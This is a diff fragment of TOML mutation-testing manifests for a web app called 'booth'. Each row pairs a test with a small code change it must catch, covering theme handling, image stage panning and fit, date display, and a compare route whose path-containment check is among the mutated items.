if (c === 'system') d.removeAttribute('data-theme'); else d.setAttribute('data-theme', c);'''
|
||||
new = '''
|
||||
if (c === 'system') d.setAttribute('data-theme', matchMedia('(prefers-color-scheme: light)').matches ? 'light' : 'dark'); else d.setAttribute('data-theme', c);'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 forced light is not in the sheet"
|
||||
file = "booth/templates/_svos_tokens.css"
|
||||
test = "tests/test_flow_browser.py::test_the_theme_toggle_forces_light_and_dark_and_system_follows_the_os_live"
|
||||
old = '''
|
||||
:root[data-theme="light"] {'''
|
||||
new = '''
|
||||
:root[data-theme="light-OFF"] {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 the toggle shows without JS (display beats [hidden])"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_theme_toggle_never_shows_without_js_and_a_storage_failure_still_applies"
|
||||
old = '''
|
||||
.theme[hidden]{display:none}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 a storage write that throws swallows the choice"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_theme_toggle_never_shows_without_js_and_a_storage_failure_still_applies"
|
||||
old = '''
|
||||
var c = b.getAttribute('data-theme-choice');
|
||||
if (c === 'system')'''
|
||||
new = '''
|
||||
var c = b.getAttribute('data-theme-choice');
|
||||
localStorage.setItem('booth.theme', c);
|
||||
if (c === 'system')'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 a stylesheet precedes the stored-theme script (a flash)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow.py::test_a_forced_theme_is_applied_before_first_paint"
|
||||
old = '''
|
||||
<script>
|
||||
(function () {
|
||||
var d = document.documentElement, b = d.getAttribute('data-booth');'''
|
||||
new = '''
|
||||
<style></style>
|
||||
<script>
|
||||
(function () {
|
||||
var d = document.documentElement, b = d.getAttribute('data-booth');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 the ask chrome in a verbatim page ignores the choice"
|
||||
file = "booth/static/embed.js"
|
||||
test = "tests/test_flow_browser.py::test_a_forced_theme_reaches_the_ask_chrome_inside_a_verbatim_page"
|
||||
old = '''
|
||||
bkTheme();
|
||||
reassociate();'''
|
||||
new = '''
|
||||
reassociate();'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 the ask chrome does not follow a choice made in another tab"
|
||||
file = "booth/static/embed.js"
|
||||
test = "tests/test_flow_browser.py::test_a_forced_theme_reaches_the_ask_chrome_inside_a_verbatim_page"
|
||||
old = '''
|
||||
if (e.key === "booth.theme" || e.key === null) bkTheme();'''
|
||||
new = '''
|
||||
if (false) bkTheme();'''
|
||||
|
||||
# ---- merge-2 folds: heid bug-hunt ("GORE-7") and code-review ("STAGGER-3")
|
||||
# Not expressible as one replacement, so pinned by their tests directly: the
|
||||
# row's DOM tab order (read in order by the test), and a declaration dropped
|
||||
# from BOTH light copies (the expected set is now written from SVOS, not
|
||||
# derived from the copies).
|
||||
|
||||
[[mutation]]
|
||||
label = "a date the calendar cannot hold raises through the Desk"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_a_date_no_calendar_can_hold_renders_nothing_and_never_500s"
|
||||
old = '''
|
||||
_BAD_DATE = (OverflowError, OSError, ValueError)'''
|
||||
new = '''
|
||||
_BAD_DATE = ()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "updated is dropped for content older than its booth (one-sided gap)"
|
||||
file = "booth/templates/_dates.html"
|
||||
test = "tests/test_flow.py::test_updated_shows_whenever_it_differs_from_created_and_a_future_one_says_its_date"
|
||||
old = '''(landed_at - created_at)|abs >= 60'''
|
||||
new = '''(landed_at - created_at) >= 60'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a content clock ahead of now reads as an age"
|
||||
file = "booth/templates/_dates.html"
|
||||
test = "tests/test_flow.py::test_updated_shows_whenever_it_differs_from_created_and_a_future_one_says_its_date"
|
||||
old = '''{%- if age < -60 %}'''
|
||||
new = '''{%- if false %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "hours run on to 47h (1d ago never appears)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_an_age_is_said_in_its_largest_whole_unit"
|
||||
old = '''
|
||||
if s < 86400:
|
||||
return f"{s // 3600}h ago"'''
|
||||
new = '''
|
||||
if s < 2 * 86400:
|
||||
return f"{s // 3600}h ago"'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a theme chosen in one tab does not reach the Booth's other open tabs"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_a_theme_chosen_in_one_tab_moves_the_others"
|
||||
old = '''
|
||||
if (e.key !== 'booth.theme' && e.key !== null) return;
|
||||
var t = null;'''
|
||||
new = '''
|
||||
return;
|
||||
var t = null;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the theme mark reaches the author's own .bk-ask"
|
||||
file = "booth/static/embed.js"
|
||||
test = "tests/test_flow_browser.py::test_the_theme_marks_only_the_ask_fragments_we_mounted"
|
||||
old = '''
|
||||
ours.forEach(function (root) {'''
|
||||
new = '''
|
||||
[document.body].forEach(function (root) {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "keyboard focus no longer reveals the row's controls"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_pill_shows_at_rest_and_focus_reveals_the_controls"
|
||||
old = '''
|
||||
.desk-row:hover .desk-acts,.desk-row:focus-within .desk-acts{opacity:1;pointer-events:auto}'''
|
||||
new = '''
|
||||
.desk-row:hover .desk-acts{opacity:1;pointer-events:auto}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the lifetime pill hides at rest"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_pill_shows_at_rest_and_focus_reveals_the_controls"
|
||||
old = '''
|
||||
.life-count::before{content:"◷"}'''
|
||||
new = '''
|
||||
.life-count::before{content:"◷"}
|
||||
.life{opacity:0}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "high contrast never applies (dark-hc block gone)"
|
||||
file = "booth/templates/_svos_tokens.css"
|
||||
test = "tests/test_flow_browser.py::test_a_forced_theme_follows_high_contrast"
|
||||
old = '''
|
||||
/* dark high contrast: whenever dark is in effect (light, below, outranks it) */
|
||||
@media (prefers-contrast: more) {'''
|
||||
new = '''
|
||||
/* dark high contrast: whenever dark is in effect (light, below, outranks it) */
|
||||
@media (prefers-contrast: less) {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "Reveal all does not reach a blurred doc's own page"
|
||||
file = "booth/templates/doc.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_lifts_the_doc_page_it_reaches"
|
||||
old = '''
|
||||
.reveal-all .docbody.is-blurred .markdown-body,.reveal-all .docbody.is-blurred .textview{filter:none}'''
|
||||
new = '''
|
||||
.reveal-all-OFF .docbody.is-blurred .markdown-body,.reveal-all .docbody.is-blurred .textview{filter:none}'''
|
||||
@@ -0,0 +1,359 @@
|
||||
# R2c — the review stage: every falsifier the contract claims
|
||||
# (docs/contracts/r2c_review_stage.contract.md), and the change each forbids.
|
||||
#
|
||||
# r3 moved the stage machinery (the mode toggle, the storage listener, pannable
|
||||
# and drag-pan) out of view.html into the shared _stage_js.html (r3 C4). The 15
|
||||
# rows that anchor there were RE-POINTED, not rewritten: same test, same
|
||||
# defeating change, in the code's new home, and every one re-proved after the
|
||||
# move. The arrows (place, drawn, view's ResizeObserver) stayed in view.html,
|
||||
# and so did their rows.
|
||||
|
||||
unit = "the review stage: fit / 1:1, the arrows at the picture, drag-pan"
|
||||
|
||||
[[mutation]]
|
||||
label = "S1 Fit never enlarges (the old max-width/max-height cap)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_fit_fills_the_stage_up_or_down"
|
||||
old = '''
|
||||
.vstage.is-img img{width:100%;height:100%;object-fit:contain;'''
|
||||
new = '''
|
||||
.vstage.is-img img{width:auto;height:auto;max-width:100%;max-height:100%;object-fit:contain;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S1 Fit crops (cover, not contain)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_fit_fills_the_stage_up_or_down"
|
||||
old = '''
|
||||
.vstage.is-img img{width:100%;height:100%;object-fit:contain;'''
|
||||
new = '''
|
||||
.vstage.is-img img{width:100%;height:100%;object-fit:cover;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S2 the toggle stays hidden (the per-picture hide is back)"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_the_toggle_shows_for_every_picture_and_never_without_js"
|
||||
# r3: BoothMode.bind is page level and holds no picture, so the re-pointed hide
|
||||
# reads the page's one picture and stage itself.
|
||||
old = '''
|
||||
toggle.hidden = false;'''
|
||||
new = '''
|
||||
toggle.hidden = document.querySelector('.vstage img').naturalWidth <= document.querySelector('.vstage').clientWidth;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S2 the toggle shows without JS (display beats [hidden])"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_toggle_shows_for_every_picture_and_never_without_js"
|
||||
old = '''
|
||||
.vtoggle[hidden]{display:none}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S2 1:1 applied late (after the stage exists: a Fit flash)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
|
||||
old = '''
|
||||
if (localStorage.getItem('booth.fit') === 'one') d.classList.add('stage-one');'''
|
||||
new = '''
|
||||
if (localStorage.getItem('booth.fit') === 'one') document.addEventListener('DOMContentLoaded', function () { d.classList.add('stage-one'); });'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S2 a stray stored value is taken as 1:1"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
|
||||
old = '''
|
||||
if (localStorage.getItem('booth.fit') === 'one') d.classList.add('stage-one');'''
|
||||
new = '''
|
||||
if (localStorage.getItem('booth.fit')) d.classList.add('stage-one');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S2 a storage write that throws swallows the click"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
|
||||
old = '''
|
||||
var setMode = function (one) {
|
||||
d.classList.toggle('stage-one', one);'''
|
||||
new = '''
|
||||
var setMode = function (one) {
|
||||
localStorage.setItem('booth.fit', 'x');
|
||||
d.classList.toggle('stage-one', one);'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S3 the arrows stay at the stage edges (never placed)"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage"
|
||||
old = '''
|
||||
var p = drawn();
|
||||
if (!p) {'''
|
||||
new = '''
|
||||
var p = null;
|
||||
if (!p) {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S3 the arrows track the file's natural width, not the drawn picture"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage"
|
||||
old = '''
|
||||
var k = Math.min(b.width / img.naturalWidth, b.height / img.naturalHeight), w = img.naturalWidth * k;'''
|
||||
new = '''
|
||||
var k = 1, w = img.naturalWidth * k;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S3 an arrow is not clamped inside the stage"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage"
|
||||
old = '''
|
||||
x = Math.max(lo, Math.min(hi, x));'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
# NEITHER path: the first draft of this row disabled only the ResizeObserver and
|
||||
# fell through to the window listener, so it stayed green — vacuous.
|
||||
[[mutation]]
|
||||
label = "S3 the arrows do not follow a resize"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage"
|
||||
old = '''
|
||||
if (window.ResizeObserver) new ResizeObserver(settle).observe(stage);
|
||||
else window.addEventListener('resize', settle);'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S4 the pan runs backwards (the picture flees the pointer)"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
|
||||
old = '''
|
||||
stage.scrollLeft = drag.l - dx;'''
|
||||
new = '''
|
||||
stage.scrollLeft = drag.l + dx;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S4 no drag threshold (a jittery click pans)"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
|
||||
old = '''
|
||||
if (dx * dx + dy * dy < 16) return; /* under 4px in all: a click */'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S4 the picture is draggable again"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
|
||||
old = '''alt="{{ file }}" draggable="false">'''
|
||||
new = '''alt="{{ file }}">'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S4 no grab cursor on a pannable 1:1 picture"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
|
||||
old = '''
|
||||
.stage-one .vstage.can-pan{cursor:grab;user-select:none}'''
|
||||
new = '''
|
||||
.stage-one .vstage.can-pan{user-select:none}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S4 the stage reveal back inside the scrolled content (a pan carries it off)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
|
||||
old = '''
|
||||
.review-body > .reveal{position:absolute;top:14px;left:14px;z-index:5;'''
|
||||
new = '''
|
||||
.review-body > .reveal{position:absolute;top:14px;left:14px;z-index:-1;'''
|
||||
|
||||
# ---- the heid code-review fold ("VÍGUNDR")
|
||||
|
||||
[[mutation]]
|
||||
label = "1:1 centres a large picture (its start side can never be scrolled to)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_every_pixel_of_a_large_picture_is_reachable"
|
||||
old = '''
|
||||
.stage-one .vstage.is-img{overflow:auto;padding:0;justify-content:flex-start;align-items:flex-start}'''
|
||||
new = '''
|
||||
.stage-one .vstage.is-img{overflow:auto;padding:0}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a buttonless hover continues a press released outside the stage"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_a_pan_holds_past_the_stage_edge_and_never_starts_on_a_hover"
|
||||
old = '''
|
||||
if (!(e.buttons & 1)) { endDrag(); return; }'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "no pointer capture (a pan dies at the stage's edge)"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_a_pan_holds_past_the_stage_edge_and_never_starts_on_a_hover"
|
||||
old = '''
|
||||
try { stage.setPointerCapture(drag.id); } catch (x) {}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "stacked, the arrows' fallback centres on stage AND rail"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_before_placement_the_arrows_never_sit_over_the_rail_on_a_narrow_screen"
|
||||
old = '''
|
||||
@media (max-width:900px){.vnav{top:30vh}}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "Fit shifts the picture off-centre (object-position), cropping it"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_fit_fills_the_stage_up_or_down"
|
||||
old = '''
|
||||
.vstage.is-img img{width:100%;height:100%;object-fit:contain;'''
|
||||
new = '''
|
||||
.vstage.is-img img{width:100%;height:100%;object-fit:contain;object-position:-100px 50%;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the arrows are not centred on the stage"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage"
|
||||
old = '''
|
||||
a.style.top = (s.top - o.top + s.height / 2) + 'px';'''
|
||||
new = '''
|
||||
a.style.top = (s.top - o.top + s.height / 4) + 'px';'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a booth.fit read that throws raises out of the head script"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
|
||||
old = '''
|
||||
try {
|
||||
if (localStorage.getItem('booth.fit') === 'one') d.classList.add('stage-one');
|
||||
} catch (e) {}'''
|
||||
new = '''
|
||||
if (localStorage.getItem('booth.fit') === 'one') d.classList.add('stage-one');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the drag threshold is per axis, not total (a 3,3 diagonal pans nothing)"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
|
||||
old = '''
|
||||
if (dx * dx + dy * dy < 16) return; /* under 4px in all: a click */'''
|
||||
new = '''
|
||||
if (Math.abs(dx) < 4 && Math.abs(dy) < 4) return;'''
|
||||
|
||||
# ---- the heid bug-hunt fold ("ÞREKJUR"). Accepted, not rowed: no `touch-action`
|
||||
# (on touch the stage scrolls natively and the pan yields on pointercancel);
|
||||
# dragstart preventDefault beside draggable=false (defence in depth, one layer
|
||||
# alone holds).
|
||||
|
||||
[[mutation]]
|
||||
label = "the stage reveal shows with scripts off (and does nothing)"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_the_stage_reveal_never_shows_without_js_and_keeps_the_fit_shadow"
|
||||
old = '''aria-label="reveal {{ file }}" hidden>'''
|
||||
new = '''aria-label="reveal {{ file }}">'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a revealed review picture loses Fit's shadow"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_stage_reveal_never_shows_without_js_and_keeps_the_fit_shadow"
|
||||
old = '''
|
||||
.review .vstage.is-img.is-blurred.revealed img,.reveal-all .review .vstage.is-img.is-blurred img{'''
|
||||
new = '''
|
||||
.review .vstage.is-img.is-blurred.revealed-OFF img,.reveal-all .review .vstage.is-img.is-blurred img{'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a stage mode chosen in another tab does not reach this one"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_a_stage_mode_chosen_in_one_tab_moves_the_others"
|
||||
old = '''
|
||||
if (e.key !== 'booth.fit' && e.key !== null) return;'''
|
||||
new = '''
|
||||
return;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the drag threshold drops to 3px"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
|
||||
old = '''
|
||||
if (dx * dx + dy * dy < 16) return; /* under 4px in all: a click */'''
|
||||
new = '''
|
||||
if (dx * dx + dy * dy < 9) return; /* under 4px in all: a click */'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a storage write that throws cuts the click short (buttons never update)"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
|
||||
old = '''
|
||||
try {
|
||||
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.removeItem('booth.fit');
|
||||
} catch (e) {}'''
|
||||
new = '''
|
||||
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.removeItem('booth.fit');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the Fit button's pressed state is never drawn"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
|
||||
old = '''
|
||||
bFit.setAttribute('aria-pressed', one ? 'false' : 'true');'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
# ---- groa's retry supplement (code review)
|
||||
|
||||
[[mutation]]
|
||||
label = "S1 Fit loses its drop shadow"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_fit_fills_the_stage_up_or_down"
|
||||
old = '''
|
||||
.vstage.is-img img{width:100%;height:100%;object-fit:contain;
|
||||
filter:drop-shadow(0 10px 24px rgb(0 0 0 / .32))}'''
|
||||
new = '''
|
||||
.vstage.is-img img{width:100%;height:100%;object-fit:contain}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S2 the toggle hides, on load, for a picture larger than the stage"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_the_toggle_shows_for_every_picture_and_never_without_js"
|
||||
# r3: `settle` is the stage's own (pannable) then the page's onSettle (place).
|
||||
old = '''
|
||||
function settle() { pannable(); onSettle(); }'''
|
||||
new = '''
|
||||
function settle() { pannable(); onSettle(); if (img) document.getElementById('vtoggle').hidden = img.naturalWidth > stage.clientWidth; }'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S2 choosing Fit stores a word instead of forgetting 1:1"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
|
||||
old = '''
|
||||
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.removeItem('booth.fit');'''
|
||||
new = '''
|
||||
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.setItem('booth.fit', 'fit');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S4 pan only when BOTH axes overflow"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_a_picture_that_overflows_one_axis_pans_along_it"
|
||||
old = '''
|
||||
(stage.scrollWidth > stage.clientWidth || stage.scrollHeight > stage.clientHeight);'''
|
||||
new = '''
|
||||
(stage.scrollWidth > stage.clientWidth && stage.scrollHeight > stage.clientHeight);'''
|
||||
|
||||
# ---- groa's retry supplement (bug hunt): classic scrollbars
|
||||
|
||||
[[mutation]]
|
||||
label = "a press on the stage's scrollbar starts a pan"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_a_classic_scrollbar_is_neither_under_an_arrow_nor_a_pan"
|
||||
old = '''
|
||||
if (e.clientX - r.left - stage.clientLeft >= stage.clientWidth ||
|
||||
e.clientY - r.top - stage.clientTop >= stage.clientHeight) return;'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the arrows clamp to the border box (the next one sits under a classic scrollbar)"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_a_classic_scrollbar_is_neither_under_an_arrow_nor_a_pan"
|
||||
old = '''
|
||||
var cl = s.left + stage.clientLeft, cr = cl + stage.clientWidth;'''
|
||||
new = '''
|
||||
var cl = s.left, cr = s.right;'''
|
||||
@@ -0,0 +1,596 @@
|
||||
# R3 — compare: every falsifier the contract claims
|
||||
# (docs/contracts/r3_compare.contract.md), and the change each forbids.
|
||||
|
||||
unit = "compare: two picked rels side by side, linked stepping, synced pan, flag the winner"
|
||||
|
||||
# ---- C1: the route and the pair
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 the conjunction loses containment (an outside symlink in the ring opens)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_an_outside_symlink_in_the_ring_is_404"
|
||||
old = '''
|
||||
return str(target).startswith(str(booth) + os.sep) and target.is_file()'''
|
||||
new = '''
|
||||
return target.is_file()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 the conjunction loses the ring (a doc or a sidecar opens as a side)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_bad_side_is_a_404"
|
||||
old = '''
|
||||
return [r for r in review_chain(items) if _in_booth(booth, r)]'''
|
||||
new = '''
|
||||
return [it.rel for it in items if _in_booth(booth, it.rel)]'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 a missing side is FastAPI's 422 (no default)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_missing_param_is_404_not_422"
|
||||
old = '''def booth_compare(request: Request, name: str, a: str = "", b: str = "",'''
|
||||
new = '''def booth_compare(request: Request, name: str, a: str, b: str,'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 a look records only A"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_look_records_both_seen"
|
||||
old = '''
|
||||
record_seen(booth, b, items)'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 the look is recorded above the 404s (a bad pair holds a booth open)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_look_records_both_seen"
|
||||
old = '''
|
||||
booth = resolve_booth(name)
|
||||
items = booth_items(booth)
|
||||
ring = _compare_ring(booth, items)'''
|
||||
new = '''
|
||||
booth = resolve_booth(name)
|
||||
record_view(booth)
|
||||
items = booth_items(booth)
|
||||
ring = _compare_ring(booth, items)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C6 compare does not carry data-booth (Reveal all and its restore bail)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare.py::test_compare_carries_data_booth"
|
||||
old = '''{% block html_attrs %} data-booth="{{ name }}"{% endblock %}'''
|
||||
new = '''{% block html_attrs %}{% endblock %}'''
|
||||
|
||||
# ---- C2/C3: picking and stepping, server-built
|
||||
|
||||
[[mutation]]
|
||||
label = "C3 linked steps do not keep the distance (B lands one after A)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_linked_steps_keep_the_distance_and_wrap"
|
||||
old = ''' "both_next": url(ring[(ia + 1) % n], ring[(ib + 1) % n]),'''
|
||||
new = ''' "both_next": url(ring[(ia + 1) % n], ring[(ia + 2) % n]),'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C3 linked steps stop at the end instead of wrapping"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_linked_steps_keep_the_distance_and_wrap"
|
||||
old = ''' "both_next": url(ring[(ia + 1) % n], ring[(ib + 1) % n]),'''
|
||||
new = ''' "both_next": url(ring[min(ia + 1, n - 1)], ring[min(ib + 1, n - 1)]),'''
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-1 a link is keyed by ordinal"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_the_urls_are_keyed_by_rel"
|
||||
old = ''' u = f"/b/{name_url}/compare?a={quote(x, safe='/')}&b={quote(y, safe='/')}"'''
|
||||
new = ''' u = f"/b/{name_url}/compare?a={quote(x, safe='/')}&b={quote(y, safe='/')}&i={by_rel[x].ordinal}"'''
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-1 a rel is not url-quoted in a link"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_the_urls_are_keyed_by_rel"
|
||||
old = ''' u = f"/b/{name_url}/compare?a={quote(x, safe='/')}&b={quote(y, safe='/')}"'''
|
||||
new = ''' u = f"/b/{name_url}/compare?a={x}&b={y}"'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 the view state does not ride the links"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_view_state_rides_the_links"
|
||||
old = '''
|
||||
if not linked:
|
||||
u += "&link=0"
|
||||
return u'''
|
||||
new = '''
|
||||
return u'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 an unknown side reads as A"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_view_state_rides_the_links"
|
||||
old = ''' side_a = side == "a"'''
|
||||
new = ''' side_a = side not in ("", "b")'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 the review's Compare does not wrap (the last item compares with itself)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_the_review_offers_compare_with_the_next_item"
|
||||
old = '''(ring[(pos + k) % len(ring)] for k in range(1, len(ring) + 1))'''
|
||||
new = '''(ring[min(pos + k, len(ring) - 1)] for k in range(1, len(ring) + 1))'''
|
||||
|
||||
# ---- C5: the regions and the JS-off flag landing
|
||||
|
||||
[[mutation]]
|
||||
label = "C5 the side regions share one id (B's control becomes A's after a save)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare.py::test_no_data_region_repeats"
|
||||
old = '''<div class="cmp-flag" data-region="flag-{{ key }}">'''
|
||||
new = '''<div class="cmp-flag" data-region="flag">'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C5 back=compare lands on a pair outside the ring (no ring check)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_flag_without_js_lands_on_the_same_pair"
|
||||
old = '''
|
||||
if a in ring and b in ring:'''
|
||||
new = '''
|
||||
if True:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C5 the landing echoes the form's side instead of mapping it"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_flag_without_js_lands_on_the_same_pair"
|
||||
old = '''
|
||||
if form.get("side") == "a":
|
||||
url += "&side=a"'''
|
||||
